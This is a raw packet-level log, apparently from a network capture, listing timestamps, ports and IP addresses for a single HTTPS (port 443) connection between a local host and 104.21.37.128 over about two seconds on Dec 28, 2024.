Dec 28, 2024 04:24:04.423660040 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.423679113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.423727989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.429426908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.429440022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.429503918 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.429512024 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.429550886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.434560061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.434573889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.434643030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.434648991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.434695005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.440395117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.440407991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.440476894 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.440486908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.440531015 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.446162939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.446182013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.446257114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.446263075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.446300983 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.451621056 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.451633930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.451716900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.451724052 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.451762915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.457446098 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.457463980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.457535982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.457540989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.457578897 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.462593079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.462609053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.462677956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.462685108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.462723970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.625036955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.625051022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.625111103 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.625122070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.625164986 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.630973101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.630989075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.631043911 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.631052971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.631092072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.636045933 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.636064053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.636104107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.636111021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.636136055 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.636157990 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.641885996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.641900063 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.641943932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.641952038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.641990900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.647686005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.647699118 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.647737026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.647744894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.647780895 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.653162956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.653179884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.653242111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.653255939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.653295994 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.658987999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.659003019 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.659076929 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.659090996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.659132957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.664271116 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.664285898 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.664360046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.664371014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.664411068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.826406956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.826426983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.826493979 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.826505899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.826549053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.832145929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.832160950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.832226992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.832233906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.832283020 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.837302923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.837318897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.837372065 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.837378979 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.837423086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.843139887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.843156099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.843219995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.843226910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.843271971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.848900080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.848913908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.848977089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.848983049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.849025965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.854435921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.854451895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.854512930 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.854520082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.854559898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.860213995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.860228062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.860285997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.860296011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.860331059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.865339994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.865356922 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.865417004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:04.865423918 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:04.865461111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.027779102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.027801991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.027868032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.027888060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.027930021 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.033503056 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.033519030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.033584118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.033591986 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.033638954 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.039426088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.039441109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.039511919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.039520025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.039566040 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.044543028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.044559002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.044621944 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.044629097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.044667959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.050261021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.050275087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.050338030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.050343990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.050384045 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.055838108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.055852890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.055910110 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.055917025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.055953979 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.061559916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.061574936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.061638117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.061644077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.061685085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.067451954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.067472935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.067504883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.067512035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.067528009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.067547083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.229065895 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.229085922 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.229118109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.229126930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.229137897 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.229165077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.234802008 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.234817982 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.234870911 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.234877110 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.234888077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.234911919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.240844011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.240859985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.240919113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.240926027 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.240963936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.245893955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.245908976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.245960951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.245966911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.246002913 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.251594067 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.251606941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.251660109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.251666069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.251703978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.257235050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.257250071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.257303953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.257309914 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.257348061 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.262985945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.263001919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.263056993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.263062954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.263099909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.268820047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.268838882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.268896103 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.268902063 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.268943071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.430835009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.430856943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.430927992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.430944920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.430985928 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.437686920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.437701941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.437779903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.437788010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.437832117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.443592072 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.443604946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.443694115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.443700075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.443746090 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.448646069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.448662043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.448734999 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.448740005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.448790073 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.454384089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.454399109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.454473019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.454478025 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.454523087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.460017920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.460032940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.460098982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.460105896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.460145950 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.465770960 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.465790987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.465861082 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.465868950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.465908051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.470086098 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.470102072 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.470247984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.470257998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.470307112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.632328987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.632344007 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.632468939 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.632477999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.632592916 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.638063908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.638077974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.638205051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.638211966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.638317108 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.643843889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.643857956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.643922091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.643929005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.643968105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.649022102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.649035931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.649106979 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.649112940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.649156094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.652353048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.652432919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.652440071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.657613039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.657628059 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.657692909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.657700062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.663064957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.663080931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.663151979 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.663161993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.668911934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.668926001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.669003963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.669013977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.718729973 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.831207991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.831228018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.831267118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.831276894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.831310034 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.831326008 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.836453915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.836468935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.836525917 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.836534023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.836571932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.842216015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.842231035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.842292070 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.842299938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.842400074 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.847349882 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.847363949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.847424030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.847433090 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.847469091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.853204966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.853218079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.853277922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.853287935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.853326082 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.858956099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.858977079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.859035015 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.859044075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.859083891 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.864511013 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.864533901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.864592075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.864607096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.864624977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.864650011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.870270014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.870286942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.870327950 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.870335102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:05.870363951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:05.870378017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.032190084 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.032212973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.032296896 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.032319069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.032361031 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.037456036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.037471056 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.037549019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.037559986 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.037604094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.043325901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.043340921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.043390036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.043397903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.043431997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.049069881 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.049082994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:06.049141884 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:06.049149036 CET	443	49752	104.21.37.128	192.168.2.4
